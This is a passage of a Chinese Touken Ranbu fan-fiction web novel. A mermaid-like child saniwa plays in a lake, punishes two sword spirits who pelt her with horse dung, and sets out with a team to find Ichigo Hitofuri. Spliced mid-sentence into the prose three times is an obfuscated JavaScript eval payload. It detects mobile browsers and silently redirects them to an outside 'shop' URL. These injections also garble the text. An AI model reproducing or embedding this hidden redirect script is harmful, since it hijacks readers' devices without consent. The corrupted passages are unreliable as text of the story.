我只是困顿地打了个哈欠,没什么太大的反应。 他又问:“要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332038|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去睡觉吗?” 比起回去睡觉,我更想去水里。 不过现在人太多,跟的又紧,入水容易暴露身份,我还是回去睡觉吧。 于是我点点头,和泉守以为刚好猜中我的心意,得意地抬抬下巴,说:“我就知道小孩容易困,走,睡觉去。” 御手杵和烛台切看着和泉守带审神者离开的背影,面面相觑。 “想不到……和泉守先生,还挺会照顾孩童的。”御手杵这样说。 烛台切点点头,附和一句:“和泉守跟粟田口的小短刀们相处时,可没这么体贴。” 作为鬼之副长土方岁三的佩刀,和泉守兼定跟着土方岁三经历了大部分事件,他有着上位者的包容与果断,也不是那种很好说话的刀。 能让他小心翼翼抱着跑那么久,也就只有作为主将的审神者有这待遇了。 今天的手合结束,本丸中的其他内番也基本到了尾声。 负责饲马和浣衣衣物被单的付丧神是最先完成任务的。几把小短刀蹦蹦跳跳地回到天守阁,想趁时间还早来找审神者一起玩,却被守在门口的和泉守给不客气地赶了回去。 说是审神者困了,现在已经睡下,要玩等她醒了再玩。 信浓藤四郎和乱藤四郎面面相觑。 既然审神者已经睡着了,他们也只能乖乖离开,还知趣地没有在天守阁附近吵闹,找了同伴一起去中庭玩。 也许是因为氛围过于舒适,周遭过于安宁,我这一觉睡得很沉。 不是那种透支之后的昏迷,而是真真正正睡了一次好觉。 有混着花香与海水味道的风从窗外吹进来,吹动了案台上花瓶里的插着凤仙花,也吹动了另一侧窗户的窗帘。 这股风中带着适宜的暖意,吹着并不冷。在喜欢的味道和舒服的温度中沉睡,我也难得体会到了日常中的平静。 或许普通人类的生活就是这样的。 在某一天的下午,晒着暖洋洋的太阳,点一根味道不错的香薰,就这样什么都不做,闭着眼睛,昏昏沉沉,浪费时间。 等彻底睡饱了觉,此时已到了傍晚,这个时间,付丧神们大多都会聚在一起吃晚饭。 我伸了个懒腰,神清气爽地走出房间,走廊上空无一人,和泉守兼定也不在,想必应该是吃饭去了。 趁现在没人跟着,我直径去了湖泊边。 傍晚的湖面依旧很好看,蔚蓝的湖水被夕阳染成了美丽的橘红色,波动的水花折射着阳光,波光粼粼的,别有一番风味。 我一头扎进水里,冰凉的海水瞬间将我包裹其中,我的双腿化为鱼尾,蓝色渐变成深紫色的尾鳍在水中打出波浪,扭出旋涡,自己玩得不亦乐乎。 湖泊的底部藏着一些海洋生物,海星、海草、海鱼、水母,还有好些海蝉,在察觉到我的靠近后,都纷纷朝我靠来。 只可惜这里的水域不够大,只能养些小型的海洋生物,要是真正的海洋,还能养些鲸鱼和海豚。 水中的灵力绵密,从我的皮肤深入,充盈着我的身体。 有好几只水母顺着灵力流从我身边旋转着飘过,我伸出手搅了一个小漩涡推过去,水母避闪不及,轻盈的身体被卷入漩涡中,像是被抽水马桶带走的塑料袋。 “审神者——” 岸上有人在喊我。 “审神者——” 声音越喊越大,声音越来越近。 我鱼尾一摆,脑袋露出水面。 和泉守兼定听见声音,立马往湖泊这里跑来,他远远看见我在水里,手中的碗差点没拿住,一路狂奔过来,喊着:“审神者!” 我往水下沉了沉,只露出一双眼睛盯着他看。 “你没事吧?”和泉守蹙起眉头,下意识撸起袖子想来捞人。 不过很快他反应过来了我根本不像是意外落水的样子,又冷静下来,问道:“审神者是来水里玩的?你很喜欢待在水里?” 我点点头。 他顿时松了口气,说:“那就好,我端了饭菜回天守阁,看房间里没人,就出来找了一圈,现在大家都在找你。” 我又往下沉了沉,妄图让自己躲起来。 “哎,你别怕,我还是听清光说你喜欢水才找过来的,他们都在天守阁那边,没往这别走。” 和泉守蹲在岸边,将碗往我这里举了举,问:“鹤丸说你不用吃东西,但吃饱了才能有气力修养身体,你饿不饿?吃吗?” 我头上冒出对话框:[不吃。] “不吃?不吃就不吃吧。”和泉守把碗放在一边,“你继续玩,我陪你。” [你陪我?] “对啊,我是今天的近侍,当然要陪你。” 和泉守说的非常理所当然。 我又盯着他看了许久,见他真的席地而坐,打定主意要陪我,我想了想,还是没入水中,鱼尾翻起浪花,游向湖泊深处。 和泉守兼定双手环胸,浅葱色的羽织披在肩头,散落在羽织上的黑色发丝伴随着他肯定点头的动作轻晃着。 审神者水性真好,游泳游得娴熟,能在水下闭气那么长时间,鱼尾的摆动也很漂亮。 清光说的没错,审神者真的很喜欢水…… 等等。 鱼尾? 和泉守兼定表情一僵。 他是不是看错了? “哗啦~” 水面翻动的声音细碎,橙红色水面再次若隐若现地翻过蓝紫色的尾鳍。 和泉守“噌”的一下从地上站起来,瞪圆了看着那轻薄如纱的漂亮尾鳍,震惊地张大了嘴巴。 真、真的是鱼尾。 审神者、审神者她…… 她怎么是条鱼啊! 20.一个副本 “烛台切。” “我和你说一件事情,你千万别害怕。” 和泉守的神情凝重,眼神也十分严肃。 他双手抱胸,在烛台切面前站得很直,说话不像往常那样干脆,反而还犹犹豫豫,很不符合他的性格。 烛台切手里拿着新鲜出炉的牡丹饼,顺手给了他一个,问:“什么事情?” 和泉守捻着那块饼干,深沉地咬了一口,结果牡丹饼太干,他吃的这一口咽了半天都没有咽下去。 一杯水适时出现在和泉守面前,他立刻接过去大口灌着,这才感觉好不少。 青年付丧神抬头一看,发现是鹤丸国永不知道什么时候来了,此时正笑脸盈盈地看着他。 “你刚刚想说什么事情?”鹤丸国永很好奇。 和泉守兼定干咳一声,重新酝酿着神秘凝重的氛围,继续说:“审神者,是一条鱼。” 鹤丸国永:“……” 烛台切光忠:“……” 他们对视了一眼,鹤丸国永说:“光坊,你的牡丹饼终于把刃吃出问题了。” 烛台切光忠:“这和我的牡丹饼没有任何关系。” “不是,我眼睛和脑袋都没出问题,是我昨天看见的。”和泉守兼定声音大了一些:“审神者有鱼的尾巴!” 烛台切抵着下巴思考,语气迟疑:“你这么说的话……确实,审神者大人很喜欢水,又能召唤海怪和水鬼之类的异类……” “不止呢,你们是没看到,昨天在那片湖里,水母和海鱼都围着审神者游。”他很严肃地靠近了两位同伴,说:“宛如,人鱼姬一般。” 鹤丸国永和烛台切光忠再次对视了一眼。 怎么说呢。 好像也有道理,是吧。 能自由地操纵水流,能吸引海洋生物,喜水,还有一副好嗓子。 虽然她能说话的时候就喜欢呲个大牙亮红灯,追着别人问听不听她唱歌,还能招来模样吓人的海妖…… 但,怎么不算人鱼姬呢? 只是、只是将审神者与人鱼姬等同起来,实在是有点太奇怪了。 烛台切光忠觉得不能认同。 鹤丸国永却露出了恍然大悟的表情,一副十分肯定的模样,用力点点头:“是啊!没错,绝对没错!” “是吧!鹤丸殿也这样觉得吧!”和泉守兼定瞬间找到知音,眼睛里亮着细碎的星光,脸上的笑容像是和鹤丸国永达成了什么共识。 烛台切光忠:“……” 在场唯一觉得审神者是个魔丸小孩的烛台切光忠,反倒失去了和他们的共同语言。 他在想用什么话来反驳两位同伴的异想天开,那两个人就已经开始在商量要怎么才能让审神者再次露出鱼尾了。 ——据和泉守所说,那蓝紫色的尾鳍如纱如雾,十分好看。 鹤丸的脑袋里只能浮现出平安京各位美丽姬君用纱做的裙摆,还有市女笠上垂下的丝绢,风一吹如同波浪般飘起,像被吹散的云朵。 他无论如何都想看看! 烛台切见两位同伴已经聊得不知天地为何物了,头痛地扶了扶额头,提醒道:“你们有这个想法我无所谓,但是别忘了,今天是审神者的异化日。” 闻言,和泉守浑身一颤,他想起来昨天追着自己跑了老半天的断腿水鬼,脸一下就黑了。 “哎呀,小朝歌脾气很好的,她就是贪玩了一些。”鹤丸国永如此稳定军心,“没事的,没事的。” 没事的,没事的? 烛台切光忠面无表情地咬下一口牡丹饼,一边咀嚼一边走开。 没听见,他可什么都没听见。 别到时候被审神者迁怒了。 两位付丧神的作战计划很快就开始实施。 今天的近侍是物吉贞宗,有这位侦查力极强的胁差在,他们可能没办法那么顺利。 但! 高风险往往伴随着高回报,为了看审神者的鱼尾巴…… 鹤丸国永拼了! …… 有一种很不妙的预感。 我走在长廊上,青春男国中生一般模样的少年付丧神脸上带着浅笑,不紧不慢地跟在我身后。 物吉贞宗自诩是一位可以为主公大人带来幸运的刀剑,今天上午也确实发生了一些好事。 比如森林那片区域刚好掉落了成熟的柿子,两个人走在路上刚好被柿子砸中,幸运的是柿子没有把他们砸的满头汁水,而是完好无损的落在了物吉贞宗的手掌心。 至于两个人为什么会在今天突然踏足从来都没去过的森林,也是因为我心血来潮,发现本丸还有一片没有探索过的区域,才来了兴致想去。 回来之后,乱藤四郎给我扎头发的发带被吹得刮到了树上,而那附近又恰好有一位没见过的刀剑付丧神抱着酒坛子路过。 那位付丧神穿着像花魁一样的衣服,面容姣好,身形纤长高大,随身带的刀也很长,比太刀还长。 他轻而易举帮我把发带拿下来,笑眼弯弯地捏了捏我的脸,还给了我两颗糖。 我接过之后剥开一看,是酒心巧克力。 “次郎先生还真是喜欢酒啊。”物吉贞宗无奈地说:“审神者大人,您还小,不能吃这个哦。” 说着,他就要来收我的糖果。 我当然不给他,直接将巧克力塞进袖子里,顺便将两只手都藏到身后,不让物吉贞宗看见。 他拿我没办法,总不可能非要过来抢,只好妥协:“好吧,但是审神者,次郎先生的糖酒精浓度很高的,您只能吃一颗。” 我思考片刻,末了犹犹豫豫地从袖子里拿出其中一颗,递给物吉贞宗。 物吉贞宗弯下腰来,耐心地看着我:“这颗是……?” [给你保管,我今天只吃一颗。] 水流组成的那句话浮现在蓝色的脑袋上。 面前的小女孩眼睛睁得大大的,湛蓝的眼眸如同大海一般深邃包容,她的皮肤白皙,脸颊透露着健康的樱粉色,嘴唇形状好看,像是樱花果冻,她将双手伸出来,掌心躺着那枚糖果,简直乖得不像话。 “咻~” 好像有一支箭戳穿了物吉贞宗的胸口,他捂着自己心脏的位置,嘴角控制不住扬起弧度,一只手摸摸那蓝色的脑袋,一只手接过那枚糖果,忍不住夸赞道:“好,真是乖孩子。” 谁家审神者这么可爱啊。 啊,原来是他家的。 物吉贞宗拉住我的手,声音越发温柔:“上次看到歌仙带你骑马,审神者想再骑一次吗?我的马术也很好哦。” 我点点头,物吉贞宗带着我直径去了马棚。 今天负责饲马的是髭切和三日月,这两位都是历史悠久的老刀,对照顾马匹不是很在行,恰好鲶尾藤四郎没什么事情,于是拉着自己的兄弟过来帮髭切两人清洁马棚。 马儿吃的多,拉的也多。 鲶尾藤四郎有粗浅地计算过,马每天产生大约8堆粪便,每天大约产生45斤,要经常清理,马棚才不会臭气熏天。 更何况他对马粪很感兴趣,这种东西可以收集起来,往讨厌的人身上丢。 “哦呀,这不是朝歌大人吗?” 三日月看到我,笑着和我打招呼:“今天想来马棚做些什么呢?” 我拉了拉物吉贞宗的手,他会意地解释道:“我来带审神者骑马玩。” “这样啊,是呢是呢,现在暂时没有出阵的任务,马儿都跑不起来,它们也会很不愉快的。”三日月宗近让出位置,让我能看到马棚里不同模样的马儿,又问:“朝歌大人想骑哪匹马呢?” 我又拉了拉物吉贞宗的手,他替我说:“小云雀就可以了,审神者觉得它的速度很合适。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337336|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小云雀闻言,高傲地抬起脖子,脚步端庄优美,在一众没被选上而有些蔫的马匹中显得格外高贵。 “小云雀的机动性确实值得夸赞,不过,还请朝歌大人注意安全。” 三日月宗近回头看去,髭切已经将小云雀牵了出来。 鲶尾藤四郎在马棚冒出个投来,与我对上视线,我则是对他眨了眨眼睛,他看见了,一双黑曜石般的眼眸溢出笑意来。 就在物吉贞宗去牵缰绳时,一颗马粪朝他们所在的方向飞来。 我刚好被三日月举起来,放在马背上,马粪擦过衣角而去,没有留下痕迹,却多少留下了些味道。 三日月宗近动作一顿:“……?” 他侧头看了一眼还待在马棚里的鲶尾,鲶尾却已经低下头,专心致志地在收拾着食槽。 奇怪。 刚刚怎么会有一坨马粪飞过去? 三日月心里觉得不对劲,但还是先将我扶稳。 物吉贞宗翻身上马,手臂将我圈在怀里,他对三日月宗近说:“那我们就先跑起来了,一会儿就回来。” 三日月宗近:“好,注意安全。” 小云雀顾及到背上坐着审神者,起步并不快。 这时,又有一颗马粪飞来,“咻”的一下,砸在了我的裤腿上。 物吉贞宗:“!” 他脸色都变了,可还没等他有什么应对,又有几颗马粪不知道从什么方向飞来,直奔他和怀里的审神者。 马背上不好躲,当即就有几坨马粪砸在了身上,物吉贞宗白色的运动服上有,我身上也有。 这真是同命相连的痛苦。 物吉贞宗有点生气,他蹙起眉头:“这究竟是谁的恶作剧,好过分,我去把犯人揪出来!” [没事。] 我表情平静,即使身上一股屎味,也仍旧没有太大反应:[先去洗掉,这里离湖近,去那边。] 物吉贞宗只好先听我的,一夹马肚子,飞快朝湖泊的方向奔去。 小云雀很听话,不用栓,乖乖地就停在湖边等着。 我跳入湖水中,脏兮兮的东西立刻被湖水分解洗净,见物吉贞宗只是在湖边脱掉了上衣,我又操纵着湖水将物吉贞宗卷下来,一同清洗他的身体。 等到身上的马粪洗得干干净净,水做的巨大手掌将我和物吉贞宗托起,将我们举在湖面上。 蔚蓝的眼睛锁定藏在搞搞草丛中的两个付丧神,水化作绳索,将一直偷偷摸摸跟在我和物吉身后的刀剑卷起来。 居然是鹤丸国永和和泉守兼定。 [在森林里朝我们丢柿子还不够?] 我双手环胸,居高临下地看着他们。 [看来你们也想尝尝被马粪砸的滋味。] 鹤丸国永像个蚕蛹一样扭曲挣扎,大声道:“小朝歌!听我解释!事情不是你想象的那样的!” 和泉守兼定连忙附和:“我们只是想把你的衣服弄脏,这样你就可以去水里……” 我冷笑一声:[当我傻?] 装可爱装久了,还真觉得我是个好欺负的? 我将水做的绳索一甩,两个人如同蝙蝠一般被我倒吊在树枝上。 鹤丸国永继续蛄蛹着,喊道:“小朝歌——对不起!我错了!放过我吧!嘤嘤嘤。” 和泉守已经开始后悔跟着鹤丸国永胡闹了,他虔诚悔过:“都是鹤丸的错,主将!要罚就罚他吧!” 鹤丸国永:“?” 等会儿? 这就把他卖了? 手掌将我托举到与他们平视的高度。 我咧了咧嘴角,笑得露出小虎牙:[我可不管。] 蓝色状态下的我力量有限,绳索也许不能保持很长时间,但这没关系,因为黄昏很快就来了。 敢朝我扔马粪。 在这儿吊着吧你俩大聪明。 21.一个副本 这一次的异化黄昏很平静,完全没有前几次那样波涛汹涌。 红色的审神者只是坐在大广间里吃了一餐饭,吃完饭还和小短刀在院子里体毽子,简直平静到不可思议。 但细心的付丧神很敏锐地发现了,有两名付丧神不翼而飞,消失得也安安静静。 这何尝不是另一种恐怖故事。 后来三日月和烛台切避着审神者偷偷去找,在湖边的树上找到了这两个可怜娃,这才知道他们是因为朝审神者丢马粪,被审神者挂在这里以儆效尤。 提到嗓子眼的小心脏重新落回了胸口。 三日月庆幸道:“原来只是被吊起来,不是死了啊。” 好奇怪的一句话,但说的好像没错。 烛台切无奈地叹了口气:“都提醒过你们今天是异化日了,行事还这么极端。” 鹤丸国永哭唧唧地在半空中荡秋千:“光坊,救命。” “……你别动。”烛台切光忠靠近了一些,想看看审神者是用什么东西捆的他俩,结果刚靠近,他就闻到了一股奇奇怪怪的味道。 他想到之前鹤丸朝审神者丢了马粪,脸色一黑,问:“你们朝审神者丢马粪之后,洗手了吗?” 和泉守兼定视线偏移,显得有些心虚:“丢完就被主将吊起来了,没、没来得及去洗。” 烛台切光忠:“……” 三日月宗近很干脆地双手一抄,笑道:“哈哈哈哈,你们脚上的绳索是审神者的灵力所化,我们无法强行砍断。等到朝歌大人气消了,你们肯定就能下来了,没事的,没事的。” 说完,他转过身,继续说:“既然如此,老头子就先走了,哈哈哈哈哈。” 烛台切也走了。 只剩下两个付丧神继续在那里蛄蛹: “等等!” “等一下!” “光坊——” “三日月殿下——” 两个人走得干脆,头都没回。 第二天早晨,我神清气爽地迎来了我的新近侍。 现在我已经找到了每天都有不同近侍陪着我的快乐。 这些近侍的性格各异,有些对我和颜悦色,见我洗脸磨磨蹭蹭的,还会温柔地用毛巾帮我擦脸,帮我梳头发,帮我整理衣服。 有些对我敬而远之,就只是单纯来看着我别处什么事,不过即便是对我冷着一张脸,该有的礼貌他们还是有的。 他们不会像歌仙和物吉一样带我去玩,但是付丧神本身就很好玩了,光是一滴水掉在衣领处,顺着脖子滑下去就会狠狠吓一跳。 就像现在这样—— 今天的近侍是宗三左文字,有着一头粉色长发,狭长的眼眸半磕着,睫毛更显纤长,他的眉目中有着一种化不开的忧愁,安静立于远处时,像忧郁美人的画卷。 他对我很是冷淡,就只在我不远不近的地方站着,安静地看着我。这时,从房梁上滴落了一滴冰凉刺骨的水珠,砸在脖颈处,让他下意识打了个寒颤。 宗三左文字迟疑地往上看去,又有一滴水珠砸在了他的眉心。 刚刚的水珠来的突然,温度还很低,宗三左文字确实吓着了,不过适应后,这第二滴水珠便不会再带来恐惧。可是,当头抬起来后,那滴水珠已经不能算作什么问题。 问题是房梁上有一张脸。 脸的主人只有眼白,脸上布满伤痕,伤口发脓,拉丝,嘴角不知道被什么东西啃食,缺了一块,露出一部分发白的肉和骨头。 那两滴水珠,不是水。 是…… 脓液。 宗三左文字晕的很干脆。 我一愣,连忙往前走几步,弯腰探头查看他的情况。 哦呀,真晕了。 我抬头与房梁上的水怪对上视线,她一只手捂着肚子,一只手指着宗三左文字,发出了无声的嘲笑。 怎么还好意思笑,让你吓人,怎么还把人吓晕了? 快去叫人来帮忙,我可搬不动这么大个家伙。 海怪吱吱呀呀地发出了一声怪叫,扭头跑了。 今天的近侍倒下了,我又没有什么特别想干的事情,于是站在长廊上,随便看着庭院里的风景。 本丸里真的很多花,上次清光带我去摘的凤仙花,草地区域上随处可见的小雏菊,手合室那边开的桃花,还有庭院里开得很好看的玉兰,我就说怎么风里头出了海的湿咸味还掺杂着淡淡的花香……这人走到哪儿花开到哪儿,香一些也是正常的。 看着看着,我看到了树上藏着的狐之助。 忽而一想,我还真是很久都没有见到过它了,差点都忘记了本丸还有这么个吉祥物。 狐之助知道我已经看见它,乖乖地落到地板上,讨好笑道:“审神者大人。” 你在这里猫着干什么? “在下一直在努力维护本丸的秩序呢,顺便还在调查统计迷失在副本里的刀剑名单。” 狐之助毛茸茸的爪子不知道从身体的哪个部位掏出了一本小册子递给我。 我将其展开,上面的字秀娟圆润,整齐地像是印刷出来的一般。我每个名字挨个仔细看了看,但唯一有印象的只有那个叫做“一期一振”的刀剑。 是粟田口小短刀们的兄长来着。 之前我就在想,这个本丸里应该是有一期一振来着,结果却迟迟没有见到这位付丧神,现在一看,果然是在出阵后没回来,留在某个副本离了。 我指着这个名字问狐之助,一期一振在哪个副本。 “这些付丧神没有与您的力量链接,就连在下也很难确定坐标。”狐之助说:“不过每次通过时间转换器去往副本时会留下记录,还要再查。” 它仔细看了看我的表情,又说:“时之政府全都记录在册,需要优先调查一期一振的出阵时间与跳跃坐标吗?” 查。 “明白了。”狐之助立刻应下:“在下这就去查,需要一段时间才能回来哦。” 我把小册子塞到袖子里,对这句话并没有什么反应。 毕竟有没有狐之助好像都差不多,就算离开一段时间也没关系。 狐之助听见了我的想法,语气委屈:“狐之助的作用可是很大的,如果没有狐之助的话,审神者可能会很寂寞。” 不会。 “怎么这样……可是审神者大人,也许您很快就有用得上在下的地方了。”狐之助身后的尾巴甩了甩。 我反驳的话还没说出来,现实便给我狠狠上了一课—— 之前被我叫去喊人过来帮忙的水怪闹出了很大的动静。 她把一个付丧神像是牧羊犬赶羊一样赶了过来,伴随着惨叫声和巨响的脚步声,还有只有我能听见的海怪的笑声。 我等了一会儿,看清被水妖“请”过来的人是和泉守兼定,心里高呼了一声“好家伙”。 是谁不行,来的偏偏是和泉守。 身披浅葱色羽织的青年付丧神跑得身体都出现了残影,表情管理完全零分,他后面追着在房梁上移动的水怪。 在快要跑到我面前时,水怪怕他没轻没重的撞到我,突然加快速度,来到了我头顶的房梁上,张大满是尖牙的嘴巴,挡在了我的身前,发出无声地嘶吼。 “!” 和泉守兼定原本是想捞了我就赶紧跑的,结果被海怪跳脸惊吓,心脏差点都不跳了。 我看着和泉守兼定像是被谁按下了暂停键一般,整个人定格在了那里。 ……他没事吧? 我挥开水怪的头,朝和泉守兼定靠近了一步,想查看他的状况。 然而这一步又像按下了什么开关,青年付丧神的身体直挺挺地倒了下去,和宗三左文字躺成了一排。 我:[……] 躺倒得也太干脆了吧先生。 这位的出场更是重量级,请问他到底发挥了一个什么样的作用? 面对水怪真诚的邀功,我头痛地叹了口气,有时候下属太过于认真负责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355335|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是什么好事。 我斜眼看向狐之助。 那家伙的尾巴在地板上扫来扫去的,狐狸脸上的纹路看不清它的表情,但我总感觉它现在非常得意。 纵使心里非常不爽,我还是让狐之助去喊人来帮忙了。 它很明显知道本丸真正靠谱的人是谁,用正常的方式将烛台切和药研喊来,两个昏倒在地的付丧神终于被扛回了房间。 事情是解决了……但不知道为什么心里更不爽了。 我没有理会跳到我脑袋上安窝的狐之助,只是一味觉得烦躁。 都说有什么样的主人就有什么样的狗,难道是因为我太笨了,所以创造出来的海怪和海妖才笨笨的吗? 怎么可能呢,我在智斗上可没输过。 一定是它们缺少大脑才无法像三日月那样思考吧? 我幽幽叹了口气。 真受不了,主人这么聪明,狗却笨笨的。 …… 大概是海怪的脓液在宗三生命里留下了最恐怖的一笔,他好像开始怕我了。 不仅近侍的工作交给了愿意做的付丧神,异化日一起吃饭也坐得离我远远的,总之就是一直和我保持着距离。 ……我哪有这么吓人。 不过算了,我不是很在意,他离我是近是远都无所谓。 差不多过了两周的时间,狐之助终于带回了本丸失踪刀剑的所有出阵坐标。 这本册子明显比上本册子要厚的多,每队刀剑的姓名与信息都写在上面,为了我方便辨认,时之政府还特意贴上了付丧神们的一寸照片。 确实很贴心,但对我没什么作用,我只打算找到一期一振。 粟田口的小短刀一直以来都对我很友好,不仅耐心教我识字、温声安抚我不要害怕,还会给我扎好看的发型,把我当做他们的家人一样照顾。 一定是得到了兄长足够的爱,他们才学会了对一个陌生人也能释放爱意。就算大人们已经做了决定要对我冷言冷语,保持距离,小短刀们也会觉得这样残忍,从而用被爱的方式来与我相处。 一期一振一定是个很不错的兄长。 要是能帮粟田口将他们的兄长找回,他们应该会很开心吧? 我是这样想的。 接下来要决定第一次出阵的名单。 据说那是个几乎只有夜战发生的副本,狐之助建议我多待几振极化短刀去。 极化短刀的意思,就是被特殊强化过的短刀吧?我手里拿着刀帐一一看去,本丸里的极化刀剑还算多,凑两队都没问题。 而我只能带一队,也就是五振刀。 鹤丸与三日月主动请缨,他们想担任这次任务的队长。 狐之助语气是很难形容的迟疑,它说:“两位真的打算跟着去吗?夜战的话,两位的实力会被压制哦,审神者大人,也请您三四,您此次去,肯定是要带着胜利回来的。” 愚蠢的狐之助,还不知道我要中途逃跑的事情呢。 [鹤丸,三日月,信浓,药研。] 我点了四位付丧神的名字。 最后一个…… [白山。] 白山吉光猛然抬头,似乎没有料到我会让他这次也跟着去。 当然,我在做决定的时候也确实很犹豫。 毕竟白山吉光的立场已经很明显,他在忠于我的同时也是时之政府的眼线。 如果带上白山,我的跑路计划可能会有些坎坷,但我的本意,是在我跑路之后,他们能找回自己那一队同伴,并顺利回到本丸。 为此,能够将付丧神血线瞬间稳定在安全状态的白山吉光是此行必不可少的治愈系人才。 狐之助还在劝我:“审神者大人,太刀夜战这……” 很不行,我知道。 但他们脑子好使,而且和我是一边的,我当然得带了。 打架交给我,他们负责出谋划策。 这次—— 我必溜之! 22.两个副本 早晨,刀剑集结,与我一同站在了时间转换器的正前方。 五位付丧神都整齐穿戴好自己的出阵服,大家都是神采奕奕的,看上去很有精气神。而且不知道是不是我的错觉,总感觉他们现在都闪闪发光的,好像比平常要更为英俊。 “早上好,小朝歌。”鹤丸露出一个笑容,双手撑腰,和我打招呼。 我差点没被他如同牛郎一般美丽的笑闪瞎。 ……好、好耀眼。 三日月一只手按在腰间的太刀上,一双含着新月的眼眸带着笑意看来,温声道:“朝歌大人,您来了。” 我还没从鹤丸的闪耀中缓过来,又被三日月如花般的貌美所吸引。 真好看啊,这个男人。 “朝歌也有出阵服呢!”信浓藤四郎兴致勃勃地围着我转了一圈,“好适合你。” 是的没错,我也有新衣服穿。 这套衣服和付丧神们的风格很像,都是在传统服饰中加入了偏向于现代的设计。 据狐之助所说,我的上衣为浅蓝色的小纹二尺袖,下装是深蓝色的行灯袴,鞋子是牛皮长靴,还有一件白色的羽织在白山吉光手上,是怕我觉得冷,专门给我配的外套。 听着真是怪讲究的呢。 在副本一条白色连衣裙从头穿到尾的NPC本人表示十分新奇。 “审神者大人的出阵服原材料是时之政府的大人寻了许久才在战国时代寻到的。由火鼠的毛发织成,在火中为赤红色,离开火焰则变为白色,污垢后用火焚烧即可洁净,也能防御部分物理攻击,就算损坏能自行修补。” 狐之助尽职尽责地介绍道:“大人们用了些方法将其染成蓝色,是专属于审神者大人的服饰。” 简直像是玩家们兑换出来的防御型器具。 我新奇地摸了摸自己的衣袖,手感上倒是和普通衣物没什么区别。 “以及——” 狐之助软软的肉垫抬起来,五位付丧神面前浮现五个圆滚滚的金色圆球,它说:“这是审神者自己制作的刀装,用于形成保护付丧神的铠甲。” 嗯嗯,是这个呢。刚到本丸的时候狐之助教我做的,我一口气搓了好多个呢,原来是给付丧神用的啊。 狐之助的话还没结束,刀装融入到五位付丧神的体内后,又有五个金色的御守缓缓出现,白色的流苏一晃,落入付丧神的掌心。 “这是时之政府念及审神者大人是第一次出阵,送给您的刀剑御守,刀剑男士们佩戴之后,可以防止1次破坏,并且生命力全部恢复。” 至此,所有的事项都交代完毕,狐之助一跃而上,跳到了时间转换器上,叮嘱道:“此次前往的是大正时期,因为出现了一些无法探测的异变,还请审神者大人千万小心,找回刀剑、收集情报、消灭时间溯行军并平安归来。” “时空之门已开启。” “诸君,武运昌隆。” 时间转换器上的时间是狐之助调好的,按下按钮后,时间转换器上的指针开始逆时针转动,有白色的光自机器内蔓延出来,直至将六人完全笼罩其中。 没过多久,耀眼的白光缓缓消失,审神者与付丧神的身影也完全消失,只剩下一朵残败的樱花花瓣自空中飘落,最后停留在狐之助的爪子前。 狐之助盯着那朵花瓣看了好一会儿,听到一阵靠近的脚步身,才抬头看向来人:“清光大人?您这是……来送行的吗?您来晚了,审神者大人已经出发了。” 加州清光摇摇头:“我知道他们已经走了。” “听说您提起大和守安定也在此次的副本中。”狐之助疑问道:“记得您和审神者关系不错,为何不委托审神者着重帮忙找找呢?” 他红色的眼眸微垂,目光平静且暗淡:“……不必了。” 和审神者走的比较近的付丧神应该都是知道的,审神者这次去,就不会再回来了。 找到大和守的事,他已经拜托了三日月殿。 朝歌……她是自由的风,是流淌的水,他不希望不相干的人或事成为束缚她的枷锁。 水,就算再细小,也会缓缓流向更远的远方。 …… 有一个很糟糕的消息。 我和四位付丧神走失了。 并不是我开小差和同伴走丢了,而是时间转换器把我们传送到了不同的地方。 我一睁眼身边就只剩下了三日月宗近,老头子晚上眼神还不太好,对着一个和我差不多高的灯安抚我别怕。 说实话,也不怪他,主要是这附近太暗了,很影响视线。 这种情况我就算是弹出对话框三日月也很难看清,于是我上前一步,抓住了三日月的手。 青年付丧神的手指一顿,紧接着又大又温暖的手掌抓住了我的手腕,确认我的位置后,他弯腰将我抱起来,手臂稳稳地托着我,也将他身上的体温透过薄薄的衣物传递到我身上。 我的视野猛然拔高,顺势就这样观察了四周的环境,确定了我们现在应该是在室内。 房间里几乎不见光,但我的眼睛可以看见周围堆放着一些杂物,上面附着一层薄薄的灰尘。头顶的天花板很矮,仔细听的话,能够听到附近很多人的脚步声,也有乐器响起的声音,是我没见过的热闹。 按照玩家的话来说,这座庄园里的人可能在举行宴会。 三日月宗近护着我,轻轻叹了口气,轻声说:“居然是这种地方,有些不妙啊。” 我尚不明其意,却已察觉门外人影渐近。 “老板娘,我真的没看错,这里真的突然亮起了一阵光。” 脚步声越来越近。 “那屋素来空置,既无贵重之物,也少有人至,怎会如此?” “许不是鼠雀之类,必是人影无疑。” “莫不是哪位客人醉酒走错,醉汉最是麻烦……” 絮絮叨叨的说话声在门外停下,他们绕着这间屋子找了好半天,最后什么都没找到,才有伙计一把将木门拉开。 